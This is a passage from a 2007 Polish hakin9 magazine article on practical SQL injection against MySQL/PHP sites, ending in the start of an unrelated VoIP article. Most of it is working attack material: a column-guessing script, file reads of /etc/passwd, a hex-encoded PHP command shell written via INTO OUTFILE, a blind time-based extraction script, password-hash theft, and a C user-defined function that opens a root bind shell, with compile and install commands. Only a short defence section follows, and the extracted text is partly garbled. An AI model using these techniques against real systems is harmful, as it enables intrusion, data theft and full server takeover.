| sed 's/--
%2
0//g'`;
sql=
"
${sql}
,
$
((i+1))--
%20
"
;
}
for
((
i=1; i
<
=
$try_count
; i++
))
do
if
[
$SKIP
-ne 0
]
; then
SKIP=
$
((
SKIP-1
))
;
add_columns;
continue
;
fi;
url=`
echo
$1
| sed
"s/_HERE_/
$sql
/"
`;
echo
"(
$i
) Trying URL:
$url
..."
;
if
! curl -x
"
$PROXY
"
"
$url
"
| lynx --dump -stdin | grep -A4 -B4 SQL |
grep -i different;
then
echo
echo
"I found it! The number of columns is
$i
"
echo
-e
"The correct URL is:
\n
$url
\n\n
"
exit
0
fi;
add_columns;
echo
;
done;
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
19
dzić inne – trudne do wykrycia z ze-
wnątrz – rodzaje błędów.
Po połączeniu informacji o poło-
żeniu katalogu domowego (plik pas-
swd) z nazwą katalogu przechowu-
jącego strony (plik httpd.conf), mo-
żemy próbować odczytać pliki in-
deksowe:
load_file('/home/user_name/html_dir/
index.php')
Prawdopodobieństwo odczytania
pliku jest stosunkowo duże, ponie-
waż część administratorów nadaje
katalogowi
html _ dir
i jego plikom
prawa
o+rx
. Odczytanie pliku indek-
sowego wystarczy, aby – śledząc
odwołania typu
include()
– dotrzeć
do nazw kolejnych plików skryptu.
Warto tu również wspomnieć o funk-
cji
hex()
, która pozwoli skonwerto-
wać odczytany plik na postać szes-
nastkową. Przydaje się to zwłasz-
cza do odczytywania plików zawie-
rających znaki niedrukowalne. Po-
zwala też zapobiec interpretacji ko-
du przez właściwy skrypt lub prze-
glądarkę.
Pisanie do plików
MySQL oferuje możliwość zapisu do
wskazanego pliku poprzez parę ope-
ratorów polecenia
SELECT
:
OUTFILE
i
DUMPFILE
. Odbywa się to w taki oto
sposób:
SELECT * FROM tabela INTO
OUTFILE '/sciezka/do/pliku'
Ze względów bezpieczeństwa nadpi-
sywanie plików jest zabronione, dlate-
go ścieżka musi wskazywać nieistnie-
jący plik. Mimo to operatory te stano-
wią duże zagrożenie. Wystarczy wy-
obrazić sobie, że podczas przegląda-
nia źródeł PHP natrafiliśmy na frag-
ment:
$file =
fopen("mail/list1.txt","w");
fwrite($file,"$email \n");
Jest szansa, że programista w celu
zapewnienia poprawnej pracy skryp-
tu nadał katalogowi mail uprawnie-
nia
o+w
. W takim wypadku wystar-
czy napisać krótki skrypt PHP wy-
konujący komendy podane jako pa-
rametr
$cmd
:
<?php
$cmd = $_GET['cmd'];
$out = system("$cmd"); ?>
Taki skrypt po konwersji na postać
szesnastkową może zostać zapisa-
ny na serwerze z pomocą operato-
ra
OUTFILE
.
Po pomyślnym wykonaniu zapy-
tania przedstawionego na Listingu
7. uzyskamy możliwość wykonywa-
nia komend powłoki z uprawnieniami
procesu serwera WWW: http://host/
~user1/mail/run.php?cmd=ps.
Czytanie baz danych
Podstawowy problem związany z wy-
ciąganiem informacji z nieznanej ba-
zy wiąże się z nieznajomością jej
struktury. Zazwyczaj nie jesteśmy w
stanie przewidzieć nazw baz, tabel
czy kolumn. Czasem informacje te
pojawiają się w generowanych przez
serwer komunikatach o błędach, lecz
są to tylko szczątkowe dane. Nowsze
wersje serwera MySQL udostępnia-
ją specjalną bazę –
information _
schema
, która znakomicie ułatwia pra-
cę z nieznanymi danymi.
W celu przyspieszenia operacji od-
czytu danych z bazy można wykorzy-
stać funkcję
concat()
, która pozwala
scalić wartości kilku pól w jeden ciąg
znaków. Przykładowo, zapytanie:
SELECT concat('[ ',imie,'=',
nazwisko,'=', telefon,'=', mail,' ]')
FROM sklepDB.zamowienia
wyświetli zawartość czterech pól ta-
beli zamowienia, rozdzielone znaka-
mi równości.
Kradzież haseł
Serwer MySQL przechowuje infor-
macje o użytkownikach w bazie da-
nych o nazwie mysql. Baza ta za-
wiera dane potrzebne do autoryzacji
użytkowników, a także określa przy-
Trzy zapytania do information_schema
•
SELECT schema_name FROM information_schema.schemata
,
•
SELECT table _ name FROM information _ schema.tables WHERE table _
schema='wybrana _ baza'
,
•
SELECT column _ name FROM information _ schema.columns WHERE table _
schema='wybrana _ baza' AND table _ name='wybrana _ tabela'
uzyskamy odpowiednio: listę wszystkich dostępnych baz, kompletną listę tabel bazy
wybrana_baza
, oraz kompletną listę pól zawartych w bazie
wybrana_baza
. Posiadając
te informacje możemy już kierować zapytania do konkretnych tabel.
Rysunek 4.
Skrypt num_of_cols.sh w akcji
hakin9 Nr 10/2007
www.hakin9.org
Początki
20
sługujące im przywileje. Kluczowa ta-
bela w niej zawarta to user, która po-
siada m. in. następujące pola:
•
user
– nazwa użytkownika,
•
host
– host, z którego użytkownik
ma prawo się łączyć,
•
password
– zaszyfrowane hasło w
postaci skrótu (hash).
Domyślnie tylko użytkownik o loginie
root ma do niej dostęp. Jednak zda-
rza się, że administrator definiując do-
stępne obiekty dla nowego użytkowni-
ka wpisuje po prostu
*.*
– co oznacza
wszystkie bazy i tabele, łącznie z my-
sql.user.
Skróty haseł różnią się między so-
bą długością. Krótsze wynikają z za-
stosowania starszego mechanizmu
generowania hashy – używanego w
wersjach serwera MySQL starszych
niż 4.1. Takie hasła są bardzo podat-
ne na atak siłowy (brute force).
Czas siłowego złamania 7-zna-
kowego hasła zawierającego różnej
wielkości litery, cyfry czy nawet znaki
specjalne, na przeciętnym kompute-
rze nie przekracza zwykle 5 minut.
Należy pamiętać, że rozkodowanie
hasła nie gwarantuje uzyskania dostę-
pu do bazy. O tym, czy dany użytkow-
nik będzie mógł zalogować się na da-
ne konto decyduje pole
host
. Jeśli jest
ono puste lub zawiera znak
%
, oznacza
to, że na konto można zalogować się z
dowolnego miejsca. Czy jednak hasła
kont zezwalających wyłącznie na do-
stęp z lokalnego adresu są zupełnie
bezużyteczne? Bynajmniej – istnieje
przecież szansa, że użytkownik po-
siada również konto systemowe (z do-
stępem do powłoki) z identycznym ha-
słem. Posiadając hasło do konta, któ-
re zezwala na zdalny dostęp, możemy
uzyskać bezpośrednie połączenie z
bazą (poleceniem
mysql
). Nie będzie-
my już ograniczeni do polecenia
UNION
SELECT
. Zyskamy możliwość wykony-
wania pozostałych komend SQL – w
granicach uprawnień przypisanych do
konta. Jeśli konto ma nadane maksy-
malne uprawnienia – z bazą można
zrobić praktycznie wszystko.
Zdalny dostęp do serwera pozwala
też na wykonanie dokładnej kopii wy-
branej bazy na lokalnym dysku twar-
dym. Służy do tego narzędzie mysql-
dump, wywołane w taki sposób:
mysqldump -u admin -p'pass' \
-h host sklepDB >dump.sql
Problemy, na jakie może
napotkać atakujący
Ataki SQL Injection rzadko kiedy prze-
biegają bezproblemowo. Trudności w
określeniu miejsca pozwalającego na
wstrzyknięcie kodu, filtrowanie danych
wejściowych pod kątem znaków spe-
cjalnych czy brak wyświetlania wyni-
ków na stronie WWW to tylko część
problemów mogących wystąpić pod-
czas ataku. Wystarczająco zdetermi-
nowany napastnik jest jednak w stanie
przezwyciężyć niektóre z nich.
Magiczne apostrofy
Jeśli w konfiguracji PHP aktywowa-
na zostanie opcja
magic _ quotes _ gpc
,
to wszystkie dane pochodzące z ze-
wnątrz (przekazane za pomocą me-
tod
GET
,
POST
czy też ciasteczek) zosta-
ną automatycznie zabezpieczone. Jeśli
zmienna zawiera znaki:
”
,
'
czy
\
, to
przed każdym z nich dopisany zostanie
znak odwrotnego ukośnika (
\
) – likwidu-
jąc w ten sposób specjalne znaczenie
każdego z wspomnianych znaków.
Zakładając, że omawiana opcja
jest aktywna, a w kodzie PHP znaj-
duje się linijka:
Wbudowane funkcje serwera MySQL
MySQL oferuje pokaźny zestaw wbudowanych funkcji, które pozwalają na wykonanie
określonych czynności po stronie serwera. Stanowią one nieocenioną pomoc dla na-
pastnika. Funkcje najczęściej używane w atakach SQL Injection to:
•
load_file()
– odczytuje wskazany plik,
•
user()
– zwraca nazwę aktualnie zalogowanego użytkownika,
•
database()
– zwraca nazwę aktualnie używanej bazy,
•
sleep()
– wstrzymuje pracę skryptu na określoną ilość sekund,
•
hex()
,
unhex()
– konwersja liczb szesnastkowych,
•
char()
– zamiana liczby na znak (w kodzie ASCII),
•
concat()
– połączenie ze sobą ciągów znaków,
•
if()
– tworzenie warunku,
•
ascii()
– zwraca kod ASCII podanego znaku,
•
count()
– zlicza otrzymane rekordy.
Zmienne systemowe serwera MySQL
Serwer MySQL przechowuje w pamięci dużą ilość zmiennych, które zawierają kluczowe
informacje na temat konfiguracji bazy danych, a także o systemie operacyjnym. Zmien-
ne, które mogą okazać się szczególnie przydatne podczas rekonesansu to:
•
basedir
– katalog bazowy,
•
datadir
– katalog przechowujący pliki baz danych,
•
initfile
– ścieżka do pliku z poleceniami SQL, które zostaną wykonane podczas
startu serwera,
•
port
– numer portu na którym działa daemon MySQL,
•
version
– wersja serwera,
•
version _ compile _ machine
– architektura atakowanej maszyny,
•
version _ compile _ os
– rodzaj systemu operacyjnego.
Pełną listę zmiennych wraz z ich wartościami uzyskamy wydając polecenie:
show
variables
, w programie mysql monitor.
Rysunek 5.
Wyświetlenie wyniku
funkcji user() na atakowanej stronie
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
21
$query = ”SELECT * FROM tabela WHERE
imie='”. $_GET['imie'] .”'”;
to przekazanie na wejście skryptu
zmiennej
imie
równej
dave' UNION
Select 1
– sprawi, że końcowe zapy-
tanie przyjmie postać:
SELECT * FROM tabela WHERE
imie='dave\' UNION Select 1 --'
Nie przyniesie ono oczekiwanego
efektu, gdyż wstawiony znak apostro-
fu straci swoją funkcję – przez co ca-
ła zawartość zmiennej zostanie za-
mknięta między pierwotnymi apostro-
fami, a następnie potraktowana jako
łańcuch znaków.
Atakujący wciąż ma szansę na
przeprowadzenie ataku. Musi tylko
znaleźć zmienną, która nie jest oto-
czona apostrofami. Takie sytuacje wy-
stępują w momencie, gdy programista
chce przekazać do zapytania zmien-
ną liczbową. Np. przesłanie zmien-
nej
ile _ lat
równej
0 UNION SELECT
1
do skryptu PHP zawierającego in-
strukcję:
$query = "SELECT * FROM uzytkownicy
WHERE wiek=$ile_lat"
da zamierzony rezultat – doklejony
SELECT
zostanie zinterpretowany ja-
ko kod SQL.
Problem jednak powróci w mo-
mencie, gdy atakujący będzie próbo-
wał przekazać nazwę pliku do funkcji
load _ file()
albo użyć operatora
WHERE
z podaniem ciągu znaków np.:
WHERE table_schema='sklepDB'
W obu przypadkach apostrofy po-
nownie zostaną poprzedzone zna-
kiem
\
, a serwer zwróci błąd skład-
ni. Jest jednak na to sposób. Za-
miast podawać ciąg znaków ograni-
czony apostrofami, można skonwer-
tować kod ASCII każdej z tworzą-
cych go liter na postać heksadecy-
malną – poprzedzając całość znaka-
mi
0x
. Tak spreparowany ciąg może
zostać podany jako argument dowol-
nej funkcji. Odczytanie pliku /etc/pas-
swd bez użycia apostrofów wygląda-
łoby więc tak:
load_file(0x2F6574632F706173737764)
Natomiast zdefiniowanie nazwy ba-
zy (sklepDB):
WHERE table_schema=0x736B6C65704442
Pewną alternatywą jest również funk-
cja
char()
, pozwalająca określić ciąg
znaków w postaci liczb dziesiętnych:
char(84,101,115,116)
Przy pomocy tych funkcji atakują-
cy jest w stanie zakodować więk-
szość ciągów znaków. Niekiedy jed-
nak apostrofy muszą być podane jaw-
nie. Jest tak np. w przypadku opera-
tora
OUTFILE
polecenia
SELECT
. To zna-
czy, że zapytanie:
SELECT 1,2,3 INTO OUTFILE 'liczby'
nie może zostać zamienione na:
SELECT 1,2,3 INTO OUTFILE
OUTFILE 0x6C69637A6279
gdyż serwer zwróci błąd składni.
Skrypt nie zwraca błędów
Jeżeli informowanie o błędach PHP/
SQL zostanie wyłączone przez ad-
ministratora, atakującemu dużo trud-
niej będzie nawiązać kontakt z bazą
danych. Jeśli badana strona nie wy-
świetla błędów, atakujący zmuszony
jest obserwować reakcje strony (np.
zmiany jej wyglądu) po zmodyfiko-
waniu wartości wybranej zmiennej.
Załóżmy, że strona księgarni za-
wiera jakąś listę, powiedzmy listę no-
Information_schema
Baza
information_schema
jest informacyjną bazą danych tylko do odczytu. Została
wprowadzona w wersji 5.0.2 serwera MySQL. Zawiera ona tabele, w których znajdu-
ją się informacje na temat wszystkich danych dostępnych dla wybranego użytkownika.
Jest ona nieocenioną pomocą dla atakującego, który – kierując do niej zapytania – jest
w stanie poznać strukturę dostępnych baz danych czy też ustalić przywileje. Tabele tej
bazy zawierające kluczowe informacje to:
•
SCHEMATA
– dostępne bazy danych,
•
TABLES
– spis tabel zawartych w bazach,
•
COLUMNS
– lista pól każdej z dostępnych tabel,
•
USER _ PRIVILEGES
– przywileje użytkownika.
Dokładną listę pól każdej z tych tabel uzyskamy poleceniem
describe nazwa_tabeli
.
Rysunek 6.
Łamanie 16-bajtowych skrótów haseł MySQL
hakin9 Nr 10/2007
www.hakin9.org
Początki
22
wo wydanych książek. Widząc w ad-
resie URL parametr
month=April
moż-
na łatwo skojarzyć, że odpowiada on
najprawdopodobniej za generowanie
listy książek wydanych w danym mie-
siącu. Jeśli po zamianie tego parame-
tru na
month=April' OR 1=1--
okaże
się, że lista książek uległa zwiększe-
niu (wyświetlone zostały tytuły z ca-
łego roku), oznacza to, że udało się
wstrzyknąć kod. Następnie można
próbować wyświetlić własny tekst lub
liczbę na stronie, korzystając z kombi-
nacji poznanych już operatorów:
month=April' LIMIT 0
UNION SELECT 'sql-inj'--
Skrypt nie zwraca
rezultatów zapytań
Najtrudniejszym atakiem typu SQL
Injection jest atak na skrypt, który
w żaden sposób nie prezentuje wy-
ników zapytania na stronie. Może
tak się zdarzyć choćby w sytuacji,
gdy skrypt otrzymane w wyniku za-
pytania rekordy wykorzystuje tylko
do wewnętrznych obliczeń. Atakują-
cy nie będzie miał więc pojęcia, co
zwróciło wstrzyknięte zapytanie. Ist-
nieje jednakże pewna sztuczka, któ-
ra pozwoli na ustalenie wyników za-
pytania. Opiera się ona na fakcie, iż
jesteśmy w stanie stwierdzić, ile cza-
su zajęło załadowanie strony.
Powiedzmy, że chcemy się do-
wiedzieć czy użytkownikiem bazy
jest root. Aby to ustalić, można utwo-
rzyć zapytanie, które sprawdzi czy
funkcja
user()
zwraca taki login – je-
śli tak, to generuje kilkusekundowe
opóźnienie. Mierząc czas ładowania
strony jesteśmy w stanie stwierdzić,
czy zapytanie zwróciło wynik pozy-
tywny bądź negatywny. Utworzenie
takiego zapytania jest jak najbardziej
realne. Wymaga to zastosowania in-
strukcji warunkowej
IF
oraz funkcji
sleep()
, która pozwala wstrzymać
przetwarzanie zapytania na określo-
ny czas. Instrukcja warunkowa
IF
jest
tak naprawdę funkcją przyjmującą
trzy argumenty:
if (warunek, wynik_pozytywny, wynik_
negatywny)
Oto prosty przykład jej użycia:
SELECT IF(5>2, 'wieksze', 'mniejsze')
Warunek
5>2
jest zawsze prawdzi-
wy (
TRUE
), dlatego wynikiem zapyta-
nia będzie ciąg znaków
wieksze
. Od-
wracając znak nierówności w stronę
liczby 2 otrzymamy słowo
mniejsze
.
Zapytanie generujące opóźnienie w
przypadku, gdy użytkownikiem bazy
jest root będzie więc wyglądało tak:
SELECT IF(user() LIKE 'root%',
sleep(10), 0)
Listing 7.
Zapytanie zapisujące skrypt PHP na serwerze
SELECT
unhex
(
'3C3F7068702024636D64203D20245F4745545B27636
D64275D3B20246F7574203D2073797374656D282224636D6422293B
203F3E'
)
INTO
OUTFILE
'/home/user1/mail/run.php'
;
Listing 8.
Skrypt timing.sh
#!/bin/bash
# Skrypt pozwala odczytac dane z bazy przy uzyciu metody czasowej
.
# Nalezy ustawic parametry URL, FIELD, DELAY oraz
# ewentualnie sql i FROM. DELAY, powinien byc ustawiony na wartosc
# o 2s wieksza niz normalny czas ladowania strony
URL=
"http://www.page-with-bug/?q=_HERE_"
FIELD=
"user()"
#FROM="from mysql.user where user=
'root'"
DELAY=6
sql="
LIMIT 0 union select
if
(
(
ascii
(
substring
(
$FIELD
,x,1
)
)>>
x
)
\&1 ,
sleep
(
$DELAY
)
, 0
)
$FROM
"
function change(){
new_sql="
`
echo
$sql
| sed
"s/,x,/,
$1
,/; s/>>x/>>
$2
/"
`
"
new_url="
`
echo
$URL
| sed
"s/_HERE_/
$new_sql
/"
`"
}
function
bin2dec
(
){
MUL=1
for
((
i=0; i
<
$1; i++)); do
MUL=`expr $MUL \* 2`
done
DEC=`expr $DEC \+ $MUL`
}
char_number=0
TIME_SUM=0
while :; do
DEC=0
char_number=`expr $char_number \+ 1`
echo -en
"\n\n### Obtaining char number $char_number ###\n\n"
for shift in 0 1 2 3 4 5 6; do
change $char_number $shift
echo $new_url
new_url=`echo $new_url | sed
"
s/ /%20/g; s/
>
/
%3
e/g; s/&/
%26
/g
"`
TIME="
`/usr/bin/
time
-f
"
%e
"
curl -s -o /dev/null
"
$new_url
"
2
>
&1 | cut
-d. -f1`
"
echo -en "
\tBit no.
$shift
(
$TIME
seconds
)
==
"
TIME_SUM=`expr
$TIME_SUM
\+
$TIME
`
if [
$
((
$TIME
)) -lt
$DELAY
]; then
echo "
0
";
else echo "
1
";
bin2dec
$shift
fi
done
echo -en "
\nThe character is:
"
if [
$DEC
-eq 0 ]; then echo NULL; break; fi
Hex=`printf
%x
$DEC
`
Char=`echo -en "
\x
$Hex
"`
echo "
$Char
"
string="
$string$Char
"
done
echo –n "
\nThe
string
you were looking
for
is:
'$string'
, obtained in
${TIME_
SUM}
s"
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
23
Gdy warunek zostanie spełniony, czas
potrzebny na wyświetlenie strony po-
winien wydłużyć się o – w przybliże-
niu – 10 sekund, co bez trudu zauwa-
żymy. Choć metoda ta wydaje się try-
wialna, może przynieść zaskakują-
ce efekty. Pozwala ona nie tylko na
odczytywanie wyników prostych po-
równań, ale również na czytanie ca-
łych ciągów znaków! Jak to możliwe?
Rozbijając ciąg na poszczególne zna-
ki, a następnie każdy bajt (znak) na bi-
ty – otrzymujemy zbiór elementarnych
stanów 1 i 0, które mogą następnie zo-
stać przedstawione przez opóźnienie i
brak opóźnienia. Pozostaje pytanie,
jak dokonać rozkładu na bity z pozio-
mu zapytania SQL? Z pomocą znów
przychodzą wbudowane funkcje. Za-
pytanie:
SELECT IF
((ascii(substring(user(),1,1) )>>0)&1,
sleep(10), 0 )
konwertuje pierwszy znak ciągu zwró-
conego przez funkcję
user()
, a na-
stępnie porównuje najmłodszy bit z je-
dynką. Jeśli porównanie zwróci war-
tość
TRUE
, to wykonywana jest funk-
cja
sleep()
. W celu rozpoznania znaku
musimy taką operację wykonać 7 ra-
zy (znaki z podstawowego kodu ASCII
kodowane są na 7 bitach) – za każ-
dym razem zwiększając przesunię-
cie bitowe (symbol
>>
) o jeden. Oczy-
wiście ręczne przeprowadzenie takiej
operacji byłoby bardzo czasochłon-
ne, a ponadto łatwo tu o pomyłkę.
Cały proces można zautomatyzować
– przy pomocy skryptu z Listingu 8.
Zdobywanie roota
poprzez MySQL
Serwer MySQL pracuje domyślnie na
specjalnie utworzonym systemowym
koncie (zwykle
mysql
).Zdarza się jed-
nak, że administrator nadaje złe upraw-
nienia katalogom przechowującym pli-
ki bazy danych, na co serwer reaguje
błędami o braku dostępu i odmawia
uruchomienia. Część administratorów
zamiast szukać przyczyny tych błędów
– beztrosko uruchamia serwer z opcją
--user root
. Uruchomienie serwera
na koncie roota w pewnych okoliczno-
ściach może doprowadzić do przejęcia
pełnej władzy nad systemem.
Jeżeli posiadamy dostęp do konta
z uprawnieniami
FILE
i
CREATE
w odnie-
sieniu do systemowej bazy mysql, to
występuje spore prawdopodobieństwo
uzyskania powłoki z uprawnieniami
administratora. Taki atak możliwy jest
dzięki temu, że serwer MySQL umoż-
liwia dodawanie funkcji zdefiniowa-
nych przez użytkownika (
User-Defined
Functions
). Funkcje te mogą być pisa-
ne przy użyciu języka C oraz ładowane
w czasie działania bazy – jako bibliote-
ki współdzielone (shared library).
Na Listingu 9. przedstawiony zo-
stał przykładowy kod zawierający
funkcję, która – po wykonaniu przez
serwer MySQL – otworzy tylną furt-
Listing 9.
Biblioteka z funkcją UDF otwierającą tylną furtkę
#include
<stdio.h>
#include
<stdlib.h>
#include
<stdio.h>
#include
<signal.h>
#include
<sys/types.h>
#include
<sys/socket.h>
#include
<netinet/in.h>
#include
<mysql.h>
#define PORT 5559
int
backdoor_init
(
UDF_INIT
*
initid
,
UDF_ARGS
*
args
,
char
*
message
)
{
return
0
;
}
;
char
*
backdoor
(
UDF_INIT
*
initid
,
UDF_ARGS
*
args
,
char
*
result
,
unsigned
long
*
length
,
char
*
is_null
,
char
*
error
)
{
int
soc_des
,
soc_cli
,
soc_rc
,
soc_len
,
server_pid
,
cli_pid
;
struct
sockaddr_in
serv_addr
;
struct
sockaddr_in
client_addr
;
if
(
fork
()
!=
0
)
{
*
is_null
=
0
;
*
length
=
strlen
(
"All right, it's open!"
);
strcpy
(
result
,
"All right, it's open!"
);
wait
(
0
);
return
result
;
}
soc_des
=
socket
(
AF_INET
,
SOCK_STREAM
,
IPPROTO_TCP
);
if
(
soc_des
==
-
1
)
exit
(-
1
);
bzero
((
char
*)
&
serv_addr
,
sizeof
(
serv_addr
));
serv_addr
.
sin_family
=
AF_INET
;
serv_addr
.
sin_addr
.
s_addr
=
htonl
(
INADDR_ANY
);
serv_addr
.
sin_port
=
htons
(
PORT
);
soc_rc
=
bind
(
soc_des
,
(
struct
sockaddr
*)
&
serv_addr
,
sizeof
(
serv_
addr
));
if
(
soc_rc
!=
0
)
exit
(-
1
);
setpgrp
();
signal
(
SIGHUP
,
SIG_IGN
);
if
(
fork
()
!=
0
)
exit
(
0
);
soc_rc
=
listen
(
soc_des
,
5
);
if
(
soc_rc
!=
0
)
exit
(
0
);
while
(
1
)
{
soc_len
=
sizeof
(
client_addr
);
soc_cli
=
accept
(
soc_des
,
(
struct
sockaddr
*)
&
client_addr
,
&
soc_
len
);
if
(
soc_cli
<
0
)
exit
(
0
);
server_pid
=
fork
();
if
(
server_pid
!=
0
)
{
dup2
(
soc_cli
,
0
);
dup2
(
soc_cli
,
1
);
dup2
(
soc_cli
,
2
);
execl
(
"/bin/sh"
,
"sh"
,
"-i"
,
(
char
*)
0
);
close
(
soc_cli
);
exit
(
0
);
}
close
(
soc_cli
);
}
}
hakin9 Nr 10/2007
www.hakin9.org
Początki
24
kę (backdoor) na porcie 5556 serwe-
ra. Po połączeniu na ten port otrzy-
mamy powłokę z uprawnieniami ad-
ministratora systemu.
Prześledźmy proces ataku z uży-
ciem tak przygotowanej biblioteki.
Zaczynamy od kompilacji programu
w poniższy sposób:
gcc -I /usr/include/mysql -O3 \
-shared -o backdoor.so backdoor.c
gdzie opcja
-I
określa ścieżkę do pli-
ków nagłówkowych serwera MySQL.
Następnie konwertujemy powsta-
łą bibliotekę na postać szesnastko-
wą. Najłatwiej posłużyć się tu pole-
ceniem:
hexdump -ve '1/1 "%02X"' \
backdoor.so >backdoor.hex
Posiadając plik backdooor.hex, mo-
żemy przesłać go na serwer. Posłuży
do tego oczywiście zapytanie
SELECT
oraz operator
DUMPFILE
, który zezwala
na tworzenie plików binarnych (opera-
tor
OUTFILE
dokonuje kilku konwer-
sji, np. bajt zerowy zamienia na za-
pis
\0
). Pozostaje pytanie, gdzie za-
pisać bibliotekę? Musi to być kata-
log przeszukiwany przez systemowy
linker/loader – jak np. katalog /lib. Po-
lecenie
SELECT
zapisujące, a zarazem
dekodujące plik (z powrotem na po-
stać binarną) musi zostać wywołane
w takiej formie:
SELECT 0x[plik_backdoor_hex]
INTO DUMPFILE '/lib/backdoor.so'
Aby to osiągnąć, wydajemy z wier-
sza poleceń komendę:
mysql -uadmin -phaslo -hhost -e \
”SELECT 0x`cat backdoor.hex` INTO \
DUMPFILE '/lib/backdoor.so' ”
Gdy biblioteka znajdzie się już w kata-
logu /lib atakowanego serwera, przy-
stępujemy do głównej części ataku
– zdefiniowania oraz uruchomienia
nowej funkcji UDF. Po zalogowaniu
na atakowany host (przez mysql mo-
nitor) wybieramy bazę:
mysql> use mysql;
a następnie tworzymy funkcję o na-
zwie backdoor:
mysql> CREATE FUNCTION backdoor
> RETURNS string
> SONAME 'backdoor.so';
Zapytanie to, poza nazwą tworzonej
funkcji, definiuje typ zwracanej war-
tości oraz plik biblioteki, który zawie-
ra kod funkcji. Od tej pory nowopow-
stała funkcja backdoor jest gotowa
do użycia, o czym możemy się łatwo
przekonać próbując ją wykonać:
mysql> SELECT
> backdoor('whatever');
Jeśli nie wystąpi żaden problem, funk-
cja zwróci napis All right, it's open! Po
połączeniu programem telnet na port
5559 powinna zgłosić się powłoka
bash z uprawnieniami roota.
Obrona przed atakami
SQL Injection
Aby zabezpieczyć się przed atakami
omówionymi w tym artykule, koniecz-
ne jest przedsięwzięcie odpowied-
nich działań – zarówno ze strony ad-
ministratora, jak i programisty. Admini-
strator powinien zadbać o to, aby użyt-
kownicy posiadali jedynie minimalny
zestaw uprawnień oraz dostęp tylko
do tych baz, które są przez nich wyko-
rzystywane. W miarę możliwości zale-
W Sieci
• http://www.securityfocus.com/infocus/1726 – opis instalacji serwera MySQL w od-
izolowanym środowisku – chroot,
• http://dev.mysql.com/doc/refman/5.0/en/security-against-attack.html – zbiór po-
rad na temat zabezpieczania serwera MySQL,
• http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html – informacje na temat
tworzenia funkcji UDF,
• http://www.frsirt.com/bulletins/354 – źródło programu mysqlfast.c.
Rysunek 8.
Uzyskanie powłoki z uprawnieniami roota
Rysunek 7.
Schemat obrazujący
działanie metody czasowej
���������������������
������������������������������
����������
����������
��������
��������
��������
��������
��������
��������
���������
���������
���������
���������
���������
���������
�����������������
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
25
ca się nawet utworzenie kilku kont dla
każdego użytkownika – z różnymi po-
ziomami uprawnień. Jeśli zajdzie po-
trzeba skorzystania z funkcji operują-
cych na plikach, będzie on pracował
na koncie posiadającym uprawnienie
FILE
itd. W tak zaprojektowanej ba-
zie, nawet jeśli atakującemu uda się
wstrzyknąć kod SQL, zyska on dostęp
do mniej uprzywilejowanego konta. W
żadnym wypadku nie należy nada-
wać uprawnień licząc na to, że mogą
się one przydać w przyszłości. Każ-
de konto powinno mieć przypisaną
nazwę hosta, z którego akceptowane
są połączenia. Jeśli nie udostępniamy
kont na zewnątrz serwera, dostęp sie-
ciowy do bazy powinien zostać wyłą-
czony całkowicie. Ponadto, gdy strona
przejdzie gruntowną fazę testów, ad-
ministrator powinien wyłączyć opcje
związane z wyświetlaniem błędów
PHP oraz SQL (opcje
display _ errors
oraz
mysql.trace _ mode
pliku php.ini).
Programista powinien zadbać o
to, by każda zmienna pochodząca od
użytkownika była dostatecznie filtro-
wana, zanim trafi do zapytania prze-
syłanego do bazy. Filtracja zmiennych
tekstowych powinna odbywać się z
użyciem funkcji
mysql _ real _ escape _
string()
, która działa podobnie jak
opcja
magic _ quotes _ gpc
. Natomiast
filtracja zmiennych liczbowych powin-
na zaczynać się od wywołania funkcji
is _ numeric()
, która ustali czy przeka-
zana wartość faktycznie jest liczbą (je-
śli nie, najprawdopodobniej ktoś próbu-
je przeprowadzić atak). Dodatkowo na-
leży dokonać konwersji na format licz-
bowy – używając funkcji
intval()
oraz
floatval()
odpowiednio dla liczb całko-
witych i zmiennoprzecinkowych. Są
to podstawowe zasady, których ścisłe
przestrzeganie na pewno podniesie
ogólny poziom bezpieczeństwa. Czy-
telników chcących pogłębić swoją wie-
dzę na temat różnych metod zabezpie-
czania serwera MySQL zachęcam do
odwiedzenia linków z ramki W Sieci.
Podsumowanie
Przekonaliśmy się, że pozornie nie-
wielki błąd (brak apostrofów) może do-
prowadzić do wycieku danych. Dlate-
go dokładna analiza kodu aplikacji sie-
ciowej pod kątem filtracji danych wej-
ściowych, a także zabezpieczenie sa-
mego serwera powinno stanowić obo-
wiązkową czynność przed udostęp-
nieniem aplikacji w sieci Internet. l
O autorze
Autor jest samoukiem, pasjonatem, od wielu lat interesującym się informatyką, a w szcze-
gólności aspektami bezpieczeństwa. Studiuje sieci komputerowe w ramach programu Ci-
sco Network Academy na Politechnice Poznańskiej. Kontakt: golunski@crackpl.com
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 10/2007
26
Atak
Z
e względu na zdobytą popularność, Vo-
IP można nazwać jedną z najważniej-
szych usług teleinformatycznych ostat-
niej dekady. Mimo tego, iż systemów i produk-
tów oferujących rozmowy pakietowe jest na
rynku coraz więcej, szybkość rozwoju tej usłu-
gi nie jest tak imponująca, jak to pierwotnie pro-
gnozowano. Przyczyn takiego stanu rzeczy na-
leży upatrywać w nadal nierozwiązanych pro-
blemach, które wpływają negatywnie na roz-
wój VoIP. Chodzi tu przede wszystkim o proble-
my z zagwarantowaniem odpowiedniej jakości
usługi pomiędzy rozmawiającymi oraz niewy-
starczający poziom zabezpieczeń, szczegól-
nie w zakresie bezpieczeństwa protokołu sy-
gnalizacyjnego, na którym dany system tele-
fonii IP bazuje.
Na tym tle Asterisk (Rysunek 1) to produkt
stosunkowo młody, jednakże cieszący się już w
świecie telefonii VoIP dość dużą popularnością.
Jest to programowa centralka IP PBX oferują-
ca wsparcie dla najpopularniejszych obecnie ze-
standaryzowanych protokołów sygnalizacyjnych
telefonii IP, tj. SIP (ang. Session Initiation Proto-
col), H.323, MGCP (ang. Media Gateway Con-
trol Protocol) oraz producenckich SCCP (firmy
Cisco), czy IAX2 (ang. InterAsterisk eXchan-
ge wersja 2). Umożliwia również wykorzysta-
nie szerokiej gamy kodeków mowy, jednocze-
śnie zapewniając bogatą listę usług telekomuni-
kacyjnych związanych z obsługą połączeń oraz
taryfikacją. Dodatkowo pozwala na współpracę
z wieloma typami aparatów VoIP i dedykowany-
mi kartami sprzętowymi do połączeń z sieciami
